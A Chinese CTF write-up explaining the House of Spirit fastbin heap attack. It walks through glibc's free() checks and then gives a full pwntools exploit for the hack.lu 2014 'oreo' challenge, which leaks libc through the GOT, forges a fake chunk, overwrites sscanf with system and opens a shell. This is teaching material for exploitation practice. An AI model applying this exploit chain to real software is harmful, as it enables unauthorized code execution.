<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Fastbin Attack 3 (題目)

    回顧

    House of spirit是文章“The Mallo Maleficarum”提出的一種利用fastbin實施的堆利用技術,更像一種內存漏洞利用技術的思想。其思想就是構造一個fake chunk使得內存分配器錯誤的分配到我們可控的內存區域,進而達到任意地址讀寫的的效果。該攻擊適合用戶控制了低地址(chunk頭)、高地址(next chunk頭),需要通過House of spirit來控制中間地址的情景

    House of sirit的條件與基本思路如下:

    1. 程序存在漏洞可以控制一個free函數的參數——指針P
    2. 可在可控內存區域(.bss,stack,heap)上構造一個fake fastchunk

    Fastbin Attack 3 (題目)

    1. 將指針P修改為fack fastchunk的chunk address,將其free到FastbinY[i]單鏈表中

    2. 再次申請同樣大小的chunk,會返回fake fastchunk,結合程序的功能實現任意地址讀寫的效果

    關鍵就是如何正確偽造一個fake fastchunk,來繞過glic的安全檢測

    glibc中關于釋放fast chunk的安全檢測

    堆的釋放函數定義在_libc_free函數中,通過源碼分析,正常釋放一個fastchunk時有五個安全檢測

    1. 在_libc_free函數中,會檢測該chunk是否通過mmap申請,即檢測chunk的ISMMAP標志位,即 A|M|P 中的第二位,如果ISMMAP為1的話,就說明該chunk是通過mmap申請的空間,就會調用munmap函數進行釋放,同時對mmap分配mmap_threshold及收縮trim_threshold閾值進行調整。所以我們要將它置0。
      if (chunk_is_mmapped (p))                       /* release mmapped memory. */
      {
      /* See if the dynamic brk/mmap threshold needs adjusting.
         Dumped fake mmapped chunks do not affect the threshold.  */
      if (!mp_.no_dyn_threshold
          && chunksize_nomask (p) > mp_.mmap_threshold
          && chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX
          && !DUMPED_MAIN_ARENA_CHUNK (p))
        {
          mp_.mmap_threshold = chunksize (p);
          mp_.trim_threshold = 2 * mp_.mmap_threshold;
          LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
                      mp_.mmap_threshold, mp_.trim_threshold);
        }
      munmap_chunk (p);
      return;
      }

    下面是_libc_free函數中子函數_int_free的安全檢查

    1. chunk指針的地址要對齊且堆指針不能溢出

      if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
      || __builtin_expect (misaligned_chunk (p), 0))
      malloc_printerr ("free(): invalid pointer");
    2. chunk的大小要大于MINSIZE且大小對齊()

    if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
        malloc_printerr ("free(): invalid size");
    1. chunk的size要小于fastchunk支持的最大值(64 bytes on x32, 128 bytes on x64)

      if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
    2. next chunk的size要大于2*SIZE_SZ(x86下SIZE_SZ為4,x64下為8),且小于av_>system_mem(默認為128kb)

      if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
      <= 2 * SIZE_SZ, 0)
      || __builtin_expect (chunksize (chunk_at_offset (p, size))
      >= av->system_mem, 0))

    2014 hack.lu oreo

    鏈接: https://pan.baidu.com/s/1XBUMr9l6g_MTTfjWk5YN_A 密碼: pow4

    程序的基本功能如下

    • 添加槍支,其主要會讀取槍支的名字與描述。但問題在于讀取的名字的長度過長,可以覆蓋 next 指針以及后面堆塊的數據。可以覆蓋后面堆塊的數據大小為 56-(56-27)=27 大小。需要注意的是,這些槍支的大小都是在 fastbin 范圍內的。
    • 展示添加槍支,即從頭到尾輸出槍支的描述與名字。
    • 訂已經選擇的槍支,即將所有已經添加的槍支釋放掉,但是并沒有置為 NULL。
    • 留下訂貨消息
    • 展示目前狀態,即添加了多少只槍,訂了多少單,留下了什么信息。

    不難分析得到,程序的漏洞主要存在于添加槍支時的堆溢出漏洞。

    基本利用思路如下

    1. 由于程序存在堆溢出漏洞,而且還可以控制 next 指針,我們可以直接控制 next 指針指向程序中 got 表的位置。當進行展示的時候,即可以輸出對應的內容,這里同時需要確保假設對應地址為一個槍支結構體時,其 next 指針為 NULL。這里我采用 puts@got。通過這樣的操作,我們就可以獲得出 libc 基地址,以及 system 函數地址。
    2. 由于槍支結構體大小是 0x38 大小,所以其對應的 chunk 為 0x40。這里采用 house of sprit 的技術來返回 0x0804A2A8 處的 chunk,即留下的消息的指針。因此,我們需要設置 0x0804A2A4 處的內容為 0x40,即需要添加 0x40 支槍支,從而繞過大小檢測。同時為了確保可以繞過 next chunk 的檢測,這里我們編輯留下的消息。
    3. 在成功分配這樣的 chunk 后,我們其實就有了一個任意地址修改的漏洞,這里我們可以選擇修改一個合適的 got 項為 system 地址,從而獲得 shell。
    
    from pwn import *
    
    context.terminal = ["terminator", "-e"]
    #context.log_level = 'debug'
    
    sh = process("./oreo")
    elf = ELF("./oreo")
    libc = ELF("./libc.so.6")
    
    
    def add(name,description):
        #sh.recvuntil("Action: ")
        sh.sendline('1')
        #sh.recvuntil("Rifle name: ")
        sh.sendline(name)
        #sh.recvuntil("description: ")
        sh.sendline(description)
    
    def show_added():
        #sh.recvuntil("Action: ")
        sh.sendline('2')
    
    
    def order_to_del():
        #sh.recvuntil("Action: ")
        sh.sendline('3')
    
    def leave_a_mes(notice):
        #sh.recvuntil("Action: ")
        sh.sendline('4')
        #sh.recvuntil("order: ")
        sh.sendline(notice)
    
    
    # leak libc base
    #description = p32(elf.got['puts'])
    name = b'a'*27 + p32(elf.got['puts'])
    add(name, b'a'*25)
    show_added()
    sh.recvuntil("===================================\n")
    sh.recvuntil('Name: ')
    puts_addr = u32( sh.recv(4).ljust(4,b'\x00') )
    log.success('puts addr :' + hex(puts_addr))
    libc_base = puts_addr - libc.symbols['puts']
    #log.success ('libc base :' + hex(libc_base))
    system_addr = libc_base + libc.symbols['system']
    binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
    
    
    # free chunk 0x804a2a8
    rifle_n = 1 # we have create a chunk
    while rifle_n < 0x3f:
        add(b'a'*27+p32(0), b'a'*25) # 25B | 27B | null_addr
        rifle_n += 1
    add(b'a'*27 + p32(0x804a2a8), b'a'*25) # 25B | 27B | 0x804a2a8
    
    # now 0x804a2a4 count++ to 0x40
    # which is equals to chunk size
    # bypass check to write sth in 0x804a2a8
    payload = b'\x00'*0x20 + p32(0x40) + p32(0x100)
    payload = payload.ljust(52, b'a')
    payload += p32(0)
    payload = payload.ljust(128, b'b')
    leave_a_mes(payload)
    log.success('wirte payload at 0x804a2a8')
    
    # fastbin 0x804a2a0 -> any addr heap -> null
    order_to_del()
    log.success("finish free()")
    sh.recvuntil("Okay order submitted!\n")
    #gdb.attach(sh)
    
    # get shell
    payload = p32(elf.got['__isoc99_sscanf'])
    add(b'a'*8, payload)
    #gdb.attach(sh)
    log.success("sys addr: " + hex(system_addr))
    #gdb.attach(sh)
    leave_a_mes(p32(system_addr))
    sh.sendline(";/bin/sh\x00")
    #gdb.attach(sh)
    
    sh.interactive()
    

    2015 9447 CTF : Search Engine

    鏈接: https://pan.baidu.com/s/1x0SaVRNkQQcc9yuGTTb7CA

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类